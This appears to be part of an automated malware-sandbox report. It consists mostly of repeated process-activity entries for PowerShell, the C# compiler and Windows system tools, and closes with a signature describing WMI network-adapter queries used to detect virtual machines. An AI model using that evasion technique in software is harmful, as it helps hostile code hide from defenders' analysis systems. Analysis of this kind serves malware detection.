Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\getmac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID="1"} WHERE ResultClass=Win32_NetworkAdapterConfiguration
